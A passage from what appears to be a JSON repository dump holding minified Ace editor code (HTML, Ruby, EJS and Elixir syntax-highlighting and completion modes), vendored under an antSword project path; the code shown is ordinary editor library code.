],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),ace.define(\"ace/mode/ruby_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=t.constantOtherSymbol={token:\"constant.other.symbol.ruby\",regex:\"[:](?:[A-Za-z_]|[@$](?=[a-zA-Z0-9_]))[a-zA-Z0-9_]*[!=?]?\"},o=t.qString={token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},u=t.qqString={token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},a=t.tString={token:\"string\",regex:\"[`](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[`]\"},f=t.constantNumericHex={token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F](?:[0-9a-fA-F]|_(?=[0-9a-fA-F]))*\\\\b\"},l=t.constantNumericFloat={token:\"constant.numeric\",regex:\"[+-]?\\\\d(?:\\\\d|_(?=\\\\d))*(?:(?:\\\\.\\\\d(?:\\\\d|_(?=\\\\d))*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},c=function(){var e=\"abort|Array|assert|assert_equal|assert_not_equal|assert_same|assert_not_same|assert_nil|assert_not_nil|assert_match|assert_no_match|assert_in_delta|assert_throws|assert_raise|assert_nothing_raised|assert_instance_of|assert_kind_of|assert_respond_to|assert_operator|assert_send|assert_difference|assert_no_difference|assert_recognizes|assert_generates|assert_response|assert_redirected_to|assert_template|assert_select|assert_select_email|assert_select_rjs|assert_select_encoded|css_select|at_exit|attr|attr_writer|attr_reader|attr_accessor|attr_accessible|autoload|binding|block_given?|callcc|caller|catch|chomp|chomp!|chop|chop!|defined?|delete_via_redirect|eval|exec|exit|exit!|fail|Float|flunk|follow_redirect!|fork|form_for|form_tag|format|gets|global_variables|gsub|gsub!|get_via_redirect|host!|https?|https!|include|Integer|lambda|link_to|link_to_unless_current|link_to_function|link_to_remote|load|local_variables|loop|open|open_session|p|print|printf|proc|putc|puts|post_via_redirect|put_via_redirect|raise|rand|raw|readline|readlines|redirect?|request_via_redirect|require|scan|select|set_trace_func|sleep|split|sprintf|srand|String|stylesheet_link_tag|syscall|system|sub|sub!|test|throw|trace_var|trap|untrace_var|atan2|cos|exp|frexp|ldexp|log|log10|sin|sqrt|tan|render|javascript_include_tag|csrf_meta_tag|label_tag|text_field_tag|submit_tag|check_box_tag|content_tag|radio_button_tag|text_area_tag|password_field_tag|hidden_field_tag|fields_for|select_tag|options_for_select|options_from_collection_for_select|collection_select|time_zone_select|select_date|select_time|select_datetime|date_select|time_select|datetime_select|select_year|select_month|select_day|select_hour|select_minute|select_second|file_field_tag|file_field|respond_to|skip_before_filter|around_filter|after_filter|verify|protect_from_forgery|rescue_from|helper_method|redirect_to|before_filter|send_data|send_file|validates_presence_of|validates_uniqueness_of|validates_length_of|validates_format_of|validates_acceptance_of|validates_associated|validates_exclusion_of|validates_inclusion_of|validates_numericality_of|validates_with|validates_each|authenticate_or_request_with_http_basic|authenticate_or_request_with_http_digest|filter_parameter_logging|match|get|post|resources|redirect|scope|assert_routing|translate|localize|extract_locale_from_tld|caches_page|expire_page|caches_action|expire_action|cache|expire_fragment|expire_cache_for|observe|cache_sweeper|has_many|has_one|belongs_to|has_and_belongs_to_many\",t=\"alias|and|BEGIN|begin|break|case|class|def|defined|do|else|elsif|END|end|ensure|__FILE__|finally|for|gem|if|in|__LINE__|module|next|not|or|private|protected|public|redo|rescue|retry|return|super|then|undef|unless|until|when|while|yield\",n=\"true|TRUE|false|FALSE|nil|NIL|ARGF|ARGV|DATA|ENV|RUBY_PLATFORM|RUBY_RELEASE_DATE|RUBY_VERSION|STDERR|STDIN|STDOUT|TOPLEVEL_BINDING\",r=\"$DEBUG|$defout|$FILENAME|$LOAD_PATH|$SAFE|$stdin|$stdout|$stderr|$VERBOSE|$!|root_url|flash|session|cookies|params|request|response|logger|self\",i=this.$keywords=this.createKeywordMapper({keyword:t,\"constant.language\":n,\"variable.language\":r,\"support.function\":e,\"invalid.deprecated\":\"debugger\"},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"comment\",regex:\"^=begin(?:$|\\\\s.*$)\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},[{regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren.lparen\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.start\",regex:/\"/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/\"/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/'/,push:[{token:\"constant.language.escape\",regex:/\\\\['\\\\]/},{token:\"string.end\",regex:/'/,next:\"pop\"},{defaultToken:\"string\"}]}],{token:\"text\",regex:\"::\"},{token:\"variable.instance\",regex:\"@{1,2}[a-zA-Z_\\\\d]+\"},{token:\"support.class\",regex:\"[A-Z][a-zA-Z_\\\\d]+\"},s,f,l,{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"punctuation.separator.key-value\",regex:\"=>\"},{stateName:\"heredoc\",onMatch:function(e,t,n){var r=e[2]==\"-\"?\"indentedHeredoc\":\"heredoc\",i=e.split(this.splitRegex);return n.push(r,i[3]),[{type:\"constant\",value:i[1]},{type:\"string\",value:i[2]},{type:\"support.class\",value:i[3]},{type:\"string\",value:i[4]}]},regex:\"(<<-?)(['\\\"`]?)([\\\\w]+)(['\\\"`]?)\",rules:{heredoc:[{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}],indentedHeredoc:[{token:\"string\",regex:\"^ +\"},{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}]}},{regex:\"$\",token:\"empty\",next:function(e,t){return t[0]===\"heredoc\"||t[0]===\"indentedHeredoc\"?t[0]:e}},{token:\"string.character\",regex:\"\\\\B\\\\?.\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\"^=end(?:$|\\\\s.*$)\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.normalizeRules()};r.inherits(c,i),t.RubyHighlightRules=c}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/ruby\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/ruby_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./ruby_highlight_rules\").RubyHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/coffee\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/),u=t.match(/^\\s*(class|def|module)\\s.*$/),a=t.match(/.*do(\\s*|\\s+\\|.*\\|\\s*)$/),f=t.match(/^\\s*(if|else)\\s*/);if(o||u||a||f)r+=n}return r},this.checkOutdent=function(e,t,n){return/^\\s+(end|else)$/.test(t+n)||this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){var r=t.getLine(n);if(/}/.test(r))return this.$outdent.autoOutdent(t,n);var i=this.$getIndent(r),s=t.getLine(n-1),o=this.$getIndent(s),a=t.getTabString();o.length<=i.length&&i.slice(-a.length)==a&&t.remove(new u(n,i.length-a.length,n,i.length))},this.$id=\"ace/mode/ruby\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/ejs\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/ruby\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=function(e,t){i.call(this),e||(e=\"(?:<%|<\\\\?|{{)\"),t||(t=\"(?:%>|\\\\?>|}})\");for(var n in this.$rules)this.$rules[n].unshift({token:\"markup.list.meta.tag\",regex:e+\"(?![>}])[-=]?\",push:\"ejs-start\"});this.embedRules(s,\"ejs-\"),this.$rules[\"ejs-start\"].unshift({token:\"markup.list.meta.tag\",regex:\"-?\"+t,next:\"pop\"},{token:\"comment\",regex:\"//.*?\"+t,next:\"pop\"}),this.$rules[\"ejs-no_regex\"].unshift({token:\"markup.list.meta.tag\",regex:\"-?\"+t,next:\"pop\"},{token:\"comment\",regex:\"//.*?\"+t,next:\"pop\"}),this.normalizeRules()};r.inherits(o,i),t.EjsHighlightRules=o;var r=e(\"../lib/oop\"),u=e(\"./html\").Mode,a=e(\"./javascript\").Mode,f=e(\"./css\").Mode,l=e(\"./ruby\").Mode,c=function(){u.call(this),this.HighlightRules=o,this.createModeDelegates({\"js-\":a,\"css-\":f,\"ejs-\":a})};r.inherits(c,u),function(){this.$id=\"ace/mode/ejs\"}.call(c.prototype),t.Mode=c})"
  },
  {
    "path": "antSword/static/libs/ace/mode-elixir.js",
    "content": "ace.define(\"ace/mode/elixir_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:[\"meta.module.elixir\",\"keyword.control.module.elixir\",\"meta.module.elixir\",\"entity.name.type.module.elixir\"],regex:\"^(\\\\s*)(defmodule)(\\\\s+)((?:[A-Z]\\\\w*\\\\s*\\\\.\\\\s*)*[A-Z]\\\\w*)\"},{token:\"comment.documentation.heredoc\",regex:'@(?:module|type)?doc (?:~[a-z])?\"\"\"',push:[{token:\"comment.documentation.heredoc\",regex:'\\\\s*\"\"\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"comment.documentation.heredoc\"}],comment:\"@doc with heredocs is treated as documentation\"},{token:\"comment.documentation.heredoc\",regex:'@(?:module|type)?doc ~[A-Z]\"\"\"',push:[{token:\"comment.documentation.heredoc\",regex:'\\\\s*\"\"\"',next:\"pop\"},{defaultToken:\"comment.documentation.heredoc\"}],comment:\"@doc with heredocs is treated as documentation\"},{token:\"comment.documentation.heredoc\",regex:\"@(?:module|type)?doc (?:~[a-z])?'''\",push:[{token:\"comment.documentation.heredoc\",regex:\"\\\\s*'''\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"comment.documentation.heredoc\"}],comment:\"@doc with heredocs is treated as documentation\"},{token:\"comment.documentation.heredoc\",regex:\"@(?:module|type)?doc ~[A-Z]'''\",push:[{token:\"comment.documentation.heredoc\",regex:\"\\\\s*'''\",next:\"pop\"},{defaultToken:\"comment.documentation.heredoc\"}],comment:\"@doc with heredocs is treated as documentation\"},{token:\"comment.documentation.false\",regex:\"@(?:module|type)?doc false\",comment:\"@doc false is treated as documentation\"},{token:\"comment.documentation.string\",regex:'@(?:module|type)?doc \"',push:[{token:\"comment.documentation.string\",regex:'\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"comment.documentation.string\"}],comment:\"@doc with string is treated as documentation\"},{token:\"keyword.control.elixir\",regex:\"\\\\b(?:do|end|case|bc|lc|for|if|cond|unless|try|receive|fn|defmodule|defp?|defprotocol|defimpl|defrecord|defstruct|defmacrop?|defdelegate|defcallback|defmacrocallback|defexception|defoverridable|exit|after|rescue|catch|else|raise|throw|import|require|alias|use|quote|unquote|super)\\\\b(?![?!])\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\.)\\\\b(do|end|case|bc|lc|for|if|cond|unless|try|receive|fn|defmodule|defp?|defprotocol|defimpl|defrecord|defstruct|defmacrop?|defdelegate|defcallback|defmacrocallback|defexception|defoverridable|exit|after|rescue|catch|else|raise|throw|import|require|alias|use|quote|unquote|super)\\\\b(?![?!])\"},{token:\"keyword.operator.elixir\",regex:\"\\\\b(?:and|not|or|when|xor|in|inlist|inbits)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\.)\\\\b(and|not|or|when|xor|in|inlist|inbits)\\\\b\",comment:\" as above, just doesn't need a 'end' and does a logic operation\"},{token:\"constant.language.elixir\",regex:\"\\\\b(?:nil|true|false)\\\\b(?![?!])\"},{token:\"variable.language.elixir\",regex:\"\\\\b__(?:CALLER|ENV|MODULE|DIR)__\\\\b(?![?!])\"},{token:[\"punctuation.definition.variable.elixir\",\"variable.other.readwrite.module.elixir\"],regex:\"(@)([a-zA-Z_]\\\\w*)\"},{token:[\"punctuation.definition.variable.elixir\",\"variable.other.anonymous.elixir\"],regex:\"(&)(\\\\d*)\"},{token:\"variable.other.constant.elixir\",regex:\"\\\\b[A-Z]\\\\w*\\\\b\"},{token:\"constant.numeric.elixir\",regex:\"\\\\b(?:0x[\\\\da-fA-F](?:_?[\\\\da-fA-F])*|\\\\d(?:_?\\\\d)*(?:\\\\.(?![^[:space:][:digit:]])(?:_?\\\\d)*)?(?:[eE][-+]?\\\\d(?:_?\\\\d)*)?|0b[01]+|0o[0-7]+)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"\\\\b(0x\\\\h(?>_?\\\\h)*|\\\\d(?>_?\\\\d)*(\\\\.(?![^[:space:][:digit:]])(?>_?\\\\d)*)?([eE][-+]?\\\\d(?>_?\\\\d)*)?|0b[01]+|0o[0-7]+)\\\\b\"},{token:\"punctuation.definition.constant.elixir\",regex:\":'\",push:[{token:\"punctuation.definition.constant.elixir\",regex:\"'\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"constant.other.symbol.single-quoted.elixir\"}]},{token:\"punctuation.definition.constant.elixir\",regex:':\"',push:[{token:\"punctuation.definition.constant.elixir\",regex:'\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"constant.other.symbol.double-quoted.elixir\"}]},{token:\"punctuation.definition.string.begin.elixir\",regex:\"(?:''')\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?>''')\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"^\\\\s*'''\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"support.function.variable.quoted.single.heredoc.elixir\"}],comment:\"Single-quoted heredocs\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"'\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"support.function.variable.quoted.single.elixir\"}],comment:\"single quoted string (allows for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:'(?:\"\"\")',TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:'(?>\"\"\")',push:[{token:\"punctuation.definition.string.end.elixir\",regex:'^\\\\s*\"\"\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.quoted.double.heredoc.elixir\"}],comment:\"Double-quoted heredocs\"},{token:\"punctuation.definition.string.begin.elixir\",regex:'\"',push:[{token:\"punctuation.definition.string.end.elixir\",regex:'\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.quoted.double.elixir\"}],comment:\"double quoted string (allows for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:'~[a-z](?:\"\"\")',TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:'~[a-z](?>\"\"\")',push:[{token:\"punctuation.definition.string.end.elixir\",regex:'^\\\\s*\"\"\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.quoted.double.heredoc.elixir\"}],comment:\"Double-quoted heredocs sigils\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z]\\\\{\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\}[a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z]\\\\[\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\][a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z]\\\\<\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\>[a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z]\\\\(\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\)[a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z][^\\\\w]\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"[^\\\\w][a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:'~[A-Z](?:\"\"\")',TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:'~[A-Z](?>\"\"\")',push:[{token:\"punctuation.definition.string.end.elixir\",regex:'^\\\\s*\"\"\"',next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"Double-quoted heredocs sigils\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z]\\\\{\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\}[a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z]\\\\[\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\][a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z]\\\\<\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\>[a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z]\\\\(\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\)[a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z][^\\\\w]\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"[^\\\\w][a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:[\"punctuation.definition.constant.elixir\",\"constant.other.symbol.elixir\"],regex:\"(:)([a-zA-Z_][\\\\w@]*(?:[?!]|=(?![>=]))?|\\\\<\\\\>|===?|!==?|<<>>|<<<|>>>|~~~|::|<\\\\-|\\\\|>|=>|~|~=|=|/|\\\\\\\\\\\\\\\\|\\\\*\\\\*?|\\\\.\\\\.?\\\\.?|>=?|<=?|&&?&?|\\\\+\\\\+?|\\\\-\\\\-?|\\\\|\\\\|?\\\\|?|\\\\!|@|\\\\%?\\\\{\\\\}|%|\\\\[\\\\]|\\\\^(?:\\\\^\\\\^)?)\",TODO:\"FIXME: regexp doesn't have js 